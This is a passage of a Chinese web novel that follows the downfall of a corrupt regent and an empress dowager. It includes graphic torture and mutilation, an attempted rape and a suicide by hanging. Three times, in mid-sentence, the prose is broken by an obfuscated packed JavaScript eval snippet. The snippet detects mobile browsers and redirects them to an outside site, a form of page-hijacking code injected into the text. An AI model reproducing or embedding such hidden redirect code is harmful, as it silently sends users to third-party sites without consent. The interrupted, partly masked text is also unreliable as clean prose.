为了活下去,他可以做任何事。他学狗叫,比谁都像。他在地上打滚,逗得蛮族士兵哈哈大笑。他甚至会去舔士兵的马靴,只为换取一口剩饭。 他从一个权倾朝野的国舅,变成了一个毫无廉耻的弄臣,一个卑微到尘埃里的奴隶。 他以为,只要自己足够卑贱,足够听话,就能活下去。 然而,他太天真了。 阿保机并没有忘记他。 在一次宴会上,喝醉了的阿保机,突然想起了梁越。他命人将梁越带了上来。 “梁国舅,”阿保机醉醺醺地笑道,“我听说,你们汉人的文人,都喜欢吟诗作对。来,给本王作首诗,助助兴!作得好了,有赏!” 梁越跪在地上,浑身一颤。 作诗?他一个靠着裙带关系上位的权臣,斗大的字不识一箩筐,哪里会作什么诗! “大……大王……奴才……奴才不会……”他颤抖着说。 “不会?”阿保机的脸瞬间沉了下来,“我看你是不想!” 他猛地拔出腰刀,架在了梁越的脖子上。 “我再给你一次机会,作不出来,我就砍了你的脑袋!” 冰冷的刀锋,让梁越吓得魂飞魄散。他脑中一片空白,急得满头大汗,结结巴巴地憋了半天,只憋出一句:“大王……大王神威……天下无敌……” “哈哈哈哈!” 在场的蛮族将领们,爆发出雷鸣般的嘲笑。 阿保机的脸,彻底黑了。他感觉自己受到了愚弄。 “废物!连作首都不会的废物!”他怒吼一声,一脚将梁越踹倒在地。 “你这张嘴,除了会拍马屁,还会干什么?留着也是浪费粮食!” 他眼中闪过一丝残忍的光芒,对着旁边的亲卫喝道:“来人!把他舌头给我拔了!” “不!不要!大王饶命!啊——!” 梁越惊恐的求饶,很快就变成了一声凄厉到不似人声的惨叫。 两个亲卫按住他,用一把钳子,硬生生将他的舌头,连根拔了出来。 鲜血,从梁越的口中狂涌而出。他痛得在地上疯狂打滚,却连一声完整的惨叫都发不出来,只能发出“呜呜”的悲鸣。 从那天起,他成了一个哑巴。 但这,还不是结束。 在一次行军途中,梁越因为身体虚弱,跟不上队伍,被一个蛮族士兵嫌弃,一刀砍在了他的腿上。 他摔倒在地,再也爬不起来。 他以为自己终于可以死了。 然而,押送他的军官,却不想让他这么轻易地死去。阿保机说过,要让他活着。 于是,军官叫来了军医,简单地为他包扎了一下。然后,为了防止他再成为累赘,军官下了一个残忍的命令。 “把他手脚都砍了,扔到运粮车上。” 在梁越惊恐绝望的眼神中,冰冷的斧头,砍断了他的四肢。 剧痛,让他再次昏死了过去。 当他再次醒来时,他已经变成了一个没有四肢,没有舌头的“人棍”。 他被扔在颠簸的粮车上,像一截无用的木头。 他想死,却连自杀的能力都没有。 他想喊,却发不出任何声音。 他的意识,被永远地囚禁在了这具残破不堪的躯体里。 他每天所能做的,就是睁着眼睛,看着天空,回忆着自己曾经的辉煌。 他想起自己在京城呼风唤雨的日子,想起那些对他卑躬屈膝的官员,想起那些被他玩弄于股掌的美人,想起他密室里堆积如山的金银。 那些曾经让他无比迷恋的东西,此刻却像一把把尖刀,反复切割着他的灵魂。 悔恨,无尽的悔恨,如同毒蛇,啃噬着他的内心。 如果……如果当初没有那么贪婪…… 如果……当初善待了陈平川…… 如果…… 可惜,这世上,没有如果。 他将在这种无尽的痛苦和悔恨中,度过自己余下的,每一分,每一秒。 这,就是国贼的下场。 另一边,梁太后还在逃亡之中。 和她那个被权力和金钱蒙蔽了双眼的哥哥不同,梁太后虽然同样自私恶毒,但久居深宫的经历,让她拥有野兽般敏锐的政治直觉。 当大雁关失守的消息传到京城,当满朝文武还在为战与和争论不休时,她就已经嗅到了亡国的气息。 她不相信军队,那些被梁家安插进去的酒囊饭袋,她比谁都清楚他们的斤两。 她更不相信她那个愚蠢的哥哥梁越,她知道梁越除了搜刮钱财和玩弄权术之外,一无是处,指望他力挽狂澜,无异于痴人说梦。 这个大业朝,要完了。 这个认知,让她出奇地冷静了下来。 她没有丝毫的悲伤,也没有为这个国家和百姓感到一丝的惋惜。 她脑子里只有一个念头——跑! 必须在京城这座大厦彻底倾塌之前,带着她的财富和性命,逃出去! 她没有声张,甚至没有告诉梁越。 她知道,以梁越的狂妄自大,是绝不会相信京城会破的,告诉他,只会被他当成疯子,甚至为了“稳定人心”,将她软禁起来。 她开始秘密地行动。 她遣散了宫中大部分的宫女太监,只留下几个最心腹、最忠诚的亲信。 她不再佩戴那些奢华的珠宝首饰,而是将它们和最大额的银票、最贵重的地契,缝进了一件件不起眼的粗布棉衣里。 她让人准备了一辆最普通不过的青布马车,就是那种京城里随处可见的,商人用来拉货的马车。 一切,都在悄无声息中进行。 在蛮族大军兵临城下的前三天,一个风雨交加的夜晚,梁太后脱下了她穿了一辈子的凤袍,换上了一身寻常富家老太太的衣服。 在几个忠心耿耿的老太监和侍卫的护送下,她坐上了那辆不起眼的马车,混在出城采办的队伍里,趁着夜色,从一个防守松懈的偏门,悄悄溜出了京城。 当车轮碾过护城河的石桥,身后那座巍峨的京城,在风雨中逐渐模糊时,梁太后没有丝毫的留恋。 她撩开车帘,回头望了一眼那座囚禁了她一生,也给了她无上权力的牢笼,眼中只有冰冷的决绝。 第353章 痴心妄想!她把乱世想得太简单了! “哥哥,不是妹妹心狠,是你自己太蠢。”她喃喃自语,“这天下,谁当皇帝都一样,只要我梁家能继续富贵下去就行。你守着那座破城,就和你的金山银山一起陪葬去吧。” 梁太后的目的地,很明确——庐州府。 在她的记忆中,庐州知府李汶洛,是她和梁越一手提拔起来的。那是个没什么本事,但极其会溜须拍马,对梁家忠心耿耿的狗。 她相信,只要她到了庐州,亮出自己太后的身份,李汶洛一定会感恩戴德地收留她,奉她为主。 届时,她就可以凭借庐州的钱粮兵马,以“太后”之名,号令天下勤王,再扶持一个新皇帝,继续她垂帘听政、掌控天下的美梦。 至于中原的百姓,和那个已经沦陷的京城,在她看来,不过是实现她野心可以随时丢弃的棋子罢了。 然而,理想是丰满的,现实却是骨感的。 离开了皇宫的庇护,她才发现,外面的世界,是何等的艰难和危险。 他们不敢走官道,只能专挑偏僻的小路走。 没有了山珍海味,每天只能啃着干硬的饼子,喝着冰冷的河水。 没有了柔软的凤榻,晚上只能在破庙或者荒野里,蜷缩在冰冷的马车里过夜。 几十年的养尊处优,让她的身体根本无法适应这种颠簸和劳累。不过几天,她就病倒了。 她开始抱怨,开始发脾气,将所有的不满,都发泄在身边仅剩的几个下人身上。 “都是一群废物!连口热水都找不到!” “这饼子是给猪吃的吗?硬得能硌掉我的牙!” 那几个忠心耿耿的老太监和侍卫,默默地忍受着她的责骂,尽心尽力地伺候着她。 他们不仅要照顾这个刁钻的老妇,还要时刻提防着路上的乱兵和山匪。 一路上,他们遭遇了好几次危险。有一次,被一伙溃散的官兵拦住,要抢夺他们的马车。为首的侍卫拼死抵抗,身中数刀,才将他们吓退。 梁太后躲在车里,吓得瑟瑟发抖,却连一句安慰的话都没有。等危险过去,她探出头来,第一句话就是:“快走!还愣着干什么!想等他们叫人来吗?” 那名受伤的侍卫,因为行动不便被丢下,他看着太后冷漠的脸,眼中闪过一丝绝望。 就这样,在经历了近一个月的艰难跋涉后,这支狼狈的队伍,终于抵达了庐州府的地界。 远远地,看到庐州城那高大的城墙时,梁太-后长长地松了一口气。 她整了整自己凌乱的头发,努力让自己看起来更有威严一些。 她撩开车帘,看着那座近在咫尺的城池,脸上露出了势在必得的笑容。 “李汶洛,我来了。准备好迎接你的主子吧。” 她仿佛已经看到,李汶洛跪在她的脚下,山呼“太后千岁”的场景。 她感觉,自己受的这些苦,都值了。 她的好日子,马上就要回来了。 此时的庐州知府衙门,早已改换了门庭,挂上了“庐王府”的牌匾。 大堂之内,李汶洛大马金刀地坐在一张大椅上,身上穿着一套自己命人赶制的、不伦不类的“王袍”。 他的下手边,坐着几个他新招揽的所谓“谋士”和“将军”,一个个獐头鼠目,满脸谄媚。 “大王,据探子来报,隔壁的安庆府,守将王麻子手下不过三千兵马,粮草也快断了。我们不如趁此机会,一举拿下安庆,扩充我们的地盘!”一个尖嘴猴腮的“军师”进言道。 李汶洛摸着下巴上稀疏的胡须,得意地点了点头。 自从陈平川一家被梁太后逼得逃离庐州后,他这个梁党安插的棋子,就顺理成章地接管了庐州。 一开始,他还假惺惺地维持着陈平川留下的善政。但很快,他就露出了贪婪的本性。 他废除了“劳务券”,恢复了繁重的苛捐杂税,将陈平川分给百姓的田地,重新收归“王府”,搞得庐州百姓怨声载道,苦不堪言。 而当京城被围,天下大乱的消息传来时,李汶洛非但没有丝毫勤王救驾的心思,反而大喜过望。 他觉得,自己出人头地的机会来了。 于是,他立刻扯起大旗,自封为“庐王”,开始招兵买马,准备在这乱世之中,分一杯羹。 他根本没想过,自己这点实力,在陈平川或者阿保机这种真正的巨鳄面前,连塞牙缝都不够。他只是一个被野心撑昏了头的跳梁小丑。 就在李汶洛和他的草台班子,商议着如何去攻打安庆府的王麻子时,一名士兵匆匆跑了进来。 “报——!大王!城外来了一辆马车,车上的人自称是……是当朝太后!” “什么?!” 李汶洛“霍”地一下从虎皮大椅上站了起来,脸上的表情,精彩至极。 先是震惊,然后是狂喜,紧接着,又变成了深深的忌惮。 太后?那个曾经高高在上,自己连见一面资格都没有的梁太后?她怎么会来庐州? 京城……难道真的破了? 这才几天?固若金汤的京城就破了? 他的脑子飞速地运转起来。 机会!这是天大的机会! 如果他能把太后捏在手里,那他就等于有了“挟天子以令诸侯”的政治资本!他可以名正言顺地号令周边州县,那些还在观望的旧朝官员,肯定会望风来投!他的“庐王”之位,就坐得更稳了! 但是,危险也随之而来。 他比谁都清楚,梁太后是个“烫手山芋”。 首先是陈平川,他与梁家是死敌,如果让他知道梁太后被自己手里,那还不得提着几十万大军来把他挫骨扬灰? 其次,蛮族知道梁太后跑到庐州来,也不会善罢甘休,到时候必然大军压境! 李汶洛打了个冷战。 他惹不起陈平川,更惹不起蛮族。 怎么办? 接,还是不接? 那军师看出了他的犹豫,凑上前来,低声道:“大王,此乃天赐良机啊!太后现在就是一只丧家之犬,她来投奔我们,说明她已经无路可走了。” “我们把她迎进来,好吃好喝地供着,对外就宣称是‘保护太后,以待明主’。这样一来,我们既得了名分,又有了号令天下的旗帜。” “至于陈平川和蛮族那边……”军师眼中闪过一丝阴狠,“他远在西域,等他打回来,还不知道是猴年马月。蛮族到咱们庐州也要绕各大远,他们粮草够不够,愿不愿意来还不好说呢。” “再说了,如果他们真的来了,我们完全可以把太后交出去,就说是我们替他抓住了仇人,说不定还能将功补过呢!” 第354章 从一座牢笼,到另一座牢笼 李汶洛眼睛一亮。 对啊!这叫两头下注! 无论将来是陈平川赢,还是天下其他枭雄得势,他手里捏着“太后”这张牌,就永远有谈判的筹码! “高!军师实在是高!”李汶洛一拍大腿,脸上的犹豫一扫而空,取而代之的是一片火热。 他立刻换上一副悲痛欲绝的表情,连王袍都来不及整理,就带着一众手下,匆匆忙忙地朝着城门口赶去。 “快!快打开城门!本王要亲自迎接太后凤驾!” 他一边跑,一边用袖子抹着眼睛,硬生生挤出几滴眼泪,嘴里还哭喊着:“太后!您受苦了!臣……臣救驾来迟了啊!” 那演技,比起京城戏班子的名角,都有过之而无不及。 当梁太后看到李汶洛带着一大群人,哭天抢地地跪倒在她的马车前时,她心中最后的一丝疑虑也消失了。 她撩开车帘,用一种施舍般的语气,虚弱地说道:“李爱卿,平身吧。哀家……一路劳顿,快扶哀家进城歇息。” 她完全没有注意到,李汶洛跪下时,眼中一闪而过的精明和贪婪。 李汶洛表现得无比恭敬和孝顺。 他将梁太后一行人,安置在知府衙门后院一处干净僻静的院落里。 他亲自端茶送水,嘘寒问暖,又命人送来了绫罗绸缎、山珍海味,将梁太后伺候得无微不至。 梁太后感觉自己又回到了皇宫,又过上了那种被人捧在手心里的日子。 她对李汶洛的表现,非常满意。 然而,三天之后,她就察觉到了不对劲。 她想出院子走走,却被门口的卫兵拦住了。 卫兵的理由是:“大王吩咐了,外面乱兵多,为了太后的安全,您还是在院里歇着吧。” 她想派人出去打探一下消息,派出去的太监,却再也没有回来。 她想见李汶洛,李汶洛却总是以“军务繁忙”为由,避而不见。 整个院子,就像一个华丽的牢笼。她可以享受最好的物质生活,但她的人身自由,被完全限制了。 梁太后就算再蠢,此时也明白了。 她被软禁了! 李汶洛这个她亲手提拔起来的狗奴才,竟然敢囚禁她! “反了!真是反了!” 梁太后在房间里,气得又打又砸。 她那张保养得宜的脸上,充满了愤怒和不敢置信。 她从一个牢笼,逃到了另一个牢笼。 而且,这个新牢笼的主人,还是她曾经最看不起的一条狗。 这种巨大的羞辱感,让她几近疯狂。 她不能坐以待毙!她必须逃出去! 她看着窗外那些站得笔直、眼神冷漠的卫兵,眼中闪过一丝狠厉。 她斗了一辈子,从一个不受宠的妃子,爬到太后的位置,她不是那么容易认输的。 不过,李汶洛的背叛,也彻底打醒了梁太后。 她终于明白,在这乱世之中,所谓的忠诚,是多么可笑的东西。 能依靠的,只有她自己。 她开始冷静下来,仔细观察着自己所处的环境。 这个院子守卫森严,正门和后门都有重兵把守,想要从门口出去,绝无可能。 唯一的破绽,或许就是院子西侧那段比较低矮的围墙。围墙外面,似乎是一片荒僻的树林。 她身边,只剩下最后一个忠心耿耿的老太监,名叫福安。 “福安,”梁太后将老太监叫到身边,压低声音说,“我们被李汶洛这个狗贼软禁了,必须想办法逃出去。” 福安老泪纵横,跪在地上:“老奴早就看出来那李汶洛不是好东西!太后,您说怎么办,老奴就是拼了这条老命,也要护您周全!” “你附耳过来……”梁太后眼中闪过一丝精光,将自己的计划,详细地说了一遍。 当天晚上,福安用梁太后偷偷藏下的一支金簪,买通了一个负责给院子送饭的小厮。 那小厮贪图富贵,又听信了福安“事成之后,保你一辈子荣华富贵”的许诺,便答应在后半夜巡逻换防的间隙,在西墙下接应。 夜,深了。 梁太后和福安,换上了事先准备好的两套下人的粗布衣服,脸上还抹了锅底灰。 看着镜子里自己狼狈的模样,梁太后心中一阵酸楚。 想她一国太后,何曾受过这等委屈。但求生的欲望,让她压下了所有的情绪。 两人借着夜色的掩护,悄悄溜到了西墙下。 果然,那个被买通的小厮,已经在那里等着了,还带来了一架简易的木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324203|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯。 “快!快!”福安催促道。 梁太后咬着牙,笨手笨脚地开始爬梯子。她一辈子养尊处优,哪里干过这种事。刚爬了两步,就脚下一滑,险些摔下来。 福安在下面死死地扶着梯子,急得满头大汗。 好不容易,梁太后才像个笨拙的狗熊,手脚并用地爬上了墙头。她回头看了一眼灯火通明的“庐王府”,眼中充满了怨毒。 “李汶洛,你给哀家等着!今日之辱,来日必将百倍奉还!” 她不敢多做停留,在福安的帮助下,顺着墙头滑了下去,摔了个屁股墩。 顾不上疼痛,两人搀扶着,一头扎进了墙外的树林里。 他们对庐州城外的地形,一无所知。只能像没头苍蝇一样,深一脚浅一脚地在黑暗的树林里穿行。 树枝划破了他们的衣服和皮肤,脚下被石头和树根绊倒了无数次。 梁太后何曾吃过这种苦,很快就体力不支,气喘吁吁地走不动了。 “不行了……哀家走不动了……”她一屁股坐在地上,大口地喘着粗气。 “太后,再坚持一下!等天亮了,被李汶洛的人发现,我们就跑不掉了!”福安焦急地劝道。 就在这时,一阵“悉悉索索”的声音,从不远处的草丛里传来。 紧接着,七八个手持钢刀、满脸横肉的大汉,从黑暗中钻了出来,将他们团团围住。 为首的,是个独眼龙,脸上有一道长长的刀疤,看起来格外狰狞。 “嘿嘿,这么晚了,一个老太婆,一个老公公,在林子里干什么呢?是不是偷了主家的东西,跑路啊?”独眼龙用刀指着他们,不怀好意地笑道。 福安脸色大变,立刻将梁太后护在身后,色厉内荏地喝道:“我们,我们是过路的客商,你们敢伤害我们……官府不会放过你们!” “客商?”独眼龙上下打量了他们几眼,看到梁太后虽然穿着粗布衣服,但手上那枚不经意间露出来的翡翠戒指,眼中立刻闪过一丝贪婪。 “老东西,还敢嘴硬!我看你们是两条大鱼啊!弟兄们,给我上!男的杀了,女的……嘿嘿,虽然老了点,但看这皮肉,保养得不错,年轻时肯定是个美人,正好给弟兄们泄泄火!” 第355章 太后?不,是天下第一罪人! “你们敢!”福安又惊又怒,抽出藏在袖子里的短剑,就要拼命。 但他一个养在深宫里的太监,哪里是这些亡命之徒的对手。 不到两个回合,就被独眼龙一脚踹倒在地,钢刀刺进了他的心脏。 剩下的山贼,则狞笑着,一步步逼近瘫坐在地上,吓得面无人色的梁太后。 “不……不要过来!你们不要过来!” 梁太后尖叫着,手脚并用地往后退。 她一辈子**权术,害人无数,但她自己,却从未亲身面临过如此直接、如此野蛮的暴力。 那几个山贼身上散发出的汗臭味和血腥味,让她阵阵作呕。 看着他们眼中那不加掩饰的、赤裸裸的欲望,梁太后第一次,感受到了真正的,对死亡和受辱的恐惧。 独眼龙一把推开手下,搓着手,淫笑着走向梁太后:“别怕,大爷会好好疼你的……” 他伸出肮脏的大手,就要去抓梁太后的衣襟。 就在这千钧一发之际! “咻!” 一声尖锐的破空之声响起! 一支黑色的羽箭,从黑暗中射出,精准地穿透了独眼龙伸出的那只手的手腕! “啊——!” 独眼龙发出一声撕心裂肺的惨叫,鲜血从手腕上喷涌而出。 所有山贼都是一惊,纷纷举起钢刀,警惕地望向箭矢射来的方向。 “什么人!滚出来!” 黑暗中,响起了一阵清脆的马蹄声。 月光下,十几骑黑衣骑士,如同从地狱中走出的幽灵,悄无声息地出现在了林边的山坡上。 为首一人,身形高挑,一袭黑衣,脸上蒙着面纱,只露出一双清冷如寒星的眸子。她手中握着一张长弓,身上散发着一股生人勿近的凛冽气势。 正是黑风寨大当家,凤三娘! “你们几个敢在黑风寨的地界**,问过我们没有?”凤三娘身旁的一个骑士,冷声喝道。 “黑风寨?” 那几个山贼一听这个名字,顿时吓得脸色惨白。 在庐州地界,谁不知道黑风寨的大名。那可是一群**不眨眼的活阎王,连官府都不敢惹。 独眼龙捂着流血的手腕,又惊又怒,但权衡了一下实力差距,还是咬了咬牙,不甘心地喝道:“我们走!” 一群山贼,来得快,去得也快,转眼就消失在了黑暗的树林里。 危机解除。 梁太后惊魂未定地瘫坐在地上,大口地喘着气。 凤三娘从马上下来,缓缓走到她的面前,居高临下地看着这个狼狈不堪的老妇人,声音清冷地问道:“老人家,你没事吧?” 梁太后抬起头,看着眼前这个救了自己性命的蒙面女子,惊魂稍定之后,那股深入骨髓的傲慢,又重新占据了她的头脑。 她挣扎着从地上爬起来,理了理自己凌乱的衣襟,用一种居高临下的姿态,端起了架子。 “放肆!见到哀家,为何不跪?” 她昂着头,得意地宣布道:“尔等可知,站在你们面前的,是谁吗?我,乃是大业朝的皇太后!” 她以为,报出这个身份,眼前这些人,会立刻吓得跪倒在地,对自己顶礼膜拜。 凤三娘和她身后的十几名黑风寨骑士,在听到“皇太后”三个字时,确实都愣住了。 他们面面相觑,眼神中充满了惊讶和不可思议。 梁太后看着他们这副“被吓傻了”的模样,心中一阵得意。 看吧,就算哀家落魄了,这身份,依旧是这天下最尊贵的。 她清了清嗓子,正准备继续摆摆她太后的威风,命令这些人将她护送回……她突然发现,自己好像已经无处可去了。 而且,她预想中,那群人跪地磕头、山呼千岁的场面,并没有出现。 短暂的惊讶过后,凤三娘那双清冷的眸子里,惊讶变成了疑惑,疑惑又迅速转为了彻骨的冰冷和厌恶。 她身后的那些骑士,脸上的表情也从震惊,变成了鄙夷和愤怒。 “皇太后?”凤三娘的声音,像数九寒冬里的冰凌,没有一丝温度,“那个害死景帝,纵容国舅梁越祸国殃民,把大好河山搞得乌烟瘴气的老妖婆?” “你……你放肆!”梁太后没想到对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324204|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是这种反应,气得浑身发抖,“你是什么人!竟敢对哀家如此无礼!” “我们是什么人?”凤三娘旁边的一个壮汉,忍不住啐了一口,“我们是黑风寨的山贼!是专门杀贪官、除恶霸的!没想到今天运气这么好,救了条老狗,竟然还是条祸国殃民的头号老母狗!” “你!”梁太-后气得眼前发黑,差点一口气没上来。 她这辈子,何曾受过这等羞辱! 凤三娘懒得再跟她废话,冷冷地一挥手:“把她带上,回山寨。说不定对我们有用。” 就这样,刚刚逃出狼窝的梁太后,又掉进了虎穴。 她被两个骑士,像提小鸡一样,架上了一匹马,一路颠簸着,被带回了黑风寨。 当梁太后被带到黑风寨聚义厅的时候,整个山寨都轰动了。 “听说了吗?大当家的在山下救了个人,竟然是那个梁太后!” “真的假的?那个把国家害成这样的老妖婆?” “千真万确!从那太婆身上搜到象征太后身份的玉章了,现在人就在聚义厅!” “走,我们过去看看!” 消息很快就传到了后院。 罗氏自从庐州局势不稳后,就被陈平川提前安排,送到了黑风寨避难。 此刻,她正在和张静姝、张若素以及几个山寨里的妇人一起缝补衣物。 听到这个消息,罗氏“噌”地一下站了起来,手中的针线都掉在了地上。 “你们说谁?梁太后?”罗氏的眼睛瞬间就红了。 就是这个老妖婆! 就是她和她的哥哥梁越,把自己的儿子平川,逼得家不能回,国不能报! 就是他们,派人一路追杀,害得平川九死一生,最后不得不远走西域! 就是这个女人,让自己的亲生儿子景帝,含恨而死! 国破家亡,全拜她所赐! 新仇旧恨,一下子全都涌上了心头! 罗氏二话不说,把手里的衣服一扔,怒气冲冲地就朝着聚义厅的方向冲了过去。 “婶子!婶子您慢点!”旁边的妇人想拦,却根本拦不住。 第356章 罗氏:你也配当娘?虎毒尚不食子! 此刻的聚义厅里,梁太后正坐在地上撒泼。 她被人带到这里后,依旧不肯放下她那可笑的架子,一会儿要喝上好的龙井,一会儿嫌椅子太硬,一会儿又骂凤三娘是山野村妇,不懂礼数。 凤三娘只是冷冷地看着她,像在看一个上蹿下跳的猴子。 就在这时,罗氏一阵风似的冲了进来。 她一眼就看到了那个坐在地上,穿着一身粗布衣服,却依旧满脸傲慢的老妇人。 “你就是梁太后?”罗氏的声音,因为极度的愤怒而微微颤抖。 梁太后抬眼看了看这个突然闯进来的,穿着朴素的乡下妇人,眉头一皱,不耐烦地喝道:“哪里来的村妇!滚出去!别脏了哀家的眼!” 这句话,彻底点燃了罗氏心中的**桶。 罗氏三步并作两步冲上前去,指着梁太后的鼻子,破口大骂: “皇太后?你也配叫皇太后?你个不要脸的老虔婆!” “我呸!”罗氏一口唾沫,狠狠地啐在了梁太后的老脸上。 “你看看你这副德行!国家被你们搞成什么样了?你还有脸在这里摆你太后的架子?” “我儿子陈平川,文武双全,忠心报国!为顺城百姓立下不世之功!结果呢?就因为挡了你们梁家的路,被你们追杀!逼得他有家不能回!你这老妖婆,你的心是石头做的吗?” “还有景帝!那是你亲儿子!你亲生的儿子啊!虎毒尚不食子!你为了你那点破权力,连自己的亲儿子都下得去手!你简直连畜生都不如!” 罗氏越骂越气,声音也越来越大,整个聚义厅里,都回荡着她愤怒的控诉。 她的话,朴实无华,没有半点文绉绉的词语,但每一个字,都像一把锥子,狠狠地扎在梁太后的心上。 聚义厅里的黑风寨众人,听着罗氏的骂声,一个个都握紧了拳头,眼中充满了对梁太后的鄙夷和愤怒。 罗氏骂的,正是他们想骂的! 梁太后被罗氏这番劈头盖脸的痛骂,给骂懵了。 她一辈子,都活在别人的阿谀奉承和敬畏之中,何曾有人敢这样指着她的鼻子骂她? 而且,对方骂的,句句是实,字字诛心,让她根本无法反驳。 特别是那句“虎毒尚不食子”,像一道闪电,击中了她内心最深处,那个她一直不敢去触碰的角落。 她想起了景帝临死前,看着她那充满失望和悲哀的眼神。 “你……你胡说!你这个刁妇!”梁太后色厉内荏地反驳着,但她的声音,已经没有了底气。 “我胡说?”罗氏冷笑一声,“你敢对天发誓,景帝的死,跟你没有关系吗?你敢说,我儿子平川,不是被你们逼走的吗?你敢说,这天下大乱,不是你和你那个**哥哥搞出来的吗?” “你……我……”梁太后张口结舌,脸色由红转白,由白转青,一句话也说不出来。 罗氏看着她这副样子,心中一阵痛快,但更多的,是悲哀。 她上前一步,指着大厅的门,一字一句地说道:“我们黑风寨,收留的都是被贪官污吏所害的穷苦百姓!我们这里,不养祸国殃民的东西!滚!你给我滚出去!” 梁太后被她这声怒喝,吓得一个哆嗦,一屁股瘫坐在了地上。 她看着周围那些鄙夷、愤怒的眼神,听着罗氏那句句如刀的控诉,她一生建立起来的骄傲和尊严,在这一刻,被彻底击得粉碎。 难道……她真的错了? 凤三娘看着瘫坐在地上,面如死灰的梁太后,又看了看依旧怒气未消的罗氏,心中叹了口气。 她对罗氏的刚烈,是打心底里佩服的。 她走到罗氏身边,轻轻拍了拍她的后背,柔声道:“伯母,消消气,为这种人生气,不值得。” 然后,她对着门口的两个女寨众,冷冷地挥了挥手。 “把她带下去,关到后山的柴房里。给她一口饭吃,别饿**就行。” 对于这个所谓的太后,凤三娘也感到很棘手。 杀了她,怕脏了黑风寨的名声,毕竟他们只杀贪官恶霸,不杀一个手无寸铁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328699|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妇。放了她,又怕她出去继续惹是生非。关起来,是目前最好的选择。 两个女寨众上前,像拖一条死狗一样,将失魂落魄的梁太后,从聚义厅里拖了出去。 这一夜,梁太后被关在了一间阴暗、潮湿的柴房里。 柴房里,堆满了杂物,散发着一股霉味。角落里,只有一堆干草,算是她的床铺。 一个女寨众,送来了一碗糙米饭和一碟咸菜,重重地放在地上,便转身锁上门走了。 梁太后看着那碗连猪食都不如的饭菜,胃里一阵翻腾。 她没有吃,只是呆呆地坐在冰冷的干草上。 柴房的窗户破了一个洞,冰冷的夜风,夹杂着山里的寒气,从洞口灌了进来,吹得她浑身发抖。 她的脑子里,一片混乱。 罗氏那句“虎毒尚不食子”,像一个魔咒,在她耳边反复回响。 她的一生,如同走马灯一般,在眼前飞速闪过。 她想起了自己年轻时,只是一个不起眼的才人,在后宫中谨小慎微,步步为营。 她想起了自己为了争宠,如何陷害其他的妃嫔,如何踩着别人的尸骨,一步步爬上了皇后的宝座。 她想起了景帝出生时,她抱着那个小小的婴儿,心中也曾有过一丝为人母的温柔。 可是,那丝温柔,很快就被对权力的无尽欲望所吞噬。 她扶持自己的哥哥梁越,架空了先帝,又架空了景帝。她沉迷于垂帘听政,享受着那种掌控别人生死,主宰国家命运的快感。 任何敢于挑战她权威的人,都成了她的敌人,被她毫不留情地铲除。 哪怕,那个人是她的亲生儿子。 她清晰地记得,在赐景帝毒酒的前一天,景帝似乎早有预感。 他看着她,平静地问了一句:“母后,在您心里,权位,真的比儿子还重要吗?” 她当时是如何回答的? 她好像什么都没说,只是冷漠地别过了头。 现在想来,景帝那时的眼神,不是恨,而是无尽的失望和悲哀。 第357章 毒妇黄泉路,将军白马行 “啊——!” 梁太后痛苦地抱住了头,发出一声压抑的嘶吼。 悔恨,像迟来的潮水,瞬间将她淹没。 一直以来,她所做的一切,都是为了梁家的富贵,为了自己的权势。 她以为,只要大权在握,她就什么都不怕。 可是现在,她得到了什么? 哥哥梁越,生死未卜,但下场可想而知。 大业朝也亡了。 她自己,成了人人唾弃的丧家之犬,被关在这阴冷的柴房里,连一个乡下妇人,都可以指着她的鼻子痛骂。 她一生追求的权力、富贵、尊严,到头来,都成了一场空。 她输了,输掉了所有的一切,包括亲情、人性,和自己的灵魂。 她环顾着这间破败的柴房,目光落在屋角一把砍柴用的斧头上。 她颤颤巍巍地站起身,走了过去,拿起了那把斧头。 她想到了死。 可是,她又放下了。 她怕痛。 最后,她的目光落在了角落,那里有一根用来捆柴的、粗糙的麻绳。 她的眼神,渐渐变得空洞,又渐渐变得决绝。 或许,这才是她最好的归宿。 她搬来一个破旧的木墩,站了上去。将那根麻绳,笨拙地在房梁上打了一个结。 做完这一切,她最后看了一眼窗外那片漆黑的夜空。 她仿佛又看到了景帝的脸,看到了那些被她害死的无数冤魂,看到了陈平川那张正义凛然的脸。 “悔了……真的……悔了……” 她喃喃自语,两行浑浊的泪水,从她苍老的眼角滑落。 “可惜……悔之晚矣……” 她闭上眼睛,将头伸进了绳套,然后,一脚踢开了脚下的木墩。 …… 第二天清晨,负责送饭的妇人,打开柴房的门,看到的是一具早已冰冷的、悬挂在房梁上的尸体。 她吓得尖叫一声,连忙跑去报告。 凤三娘和罗氏很快就赶了过来。 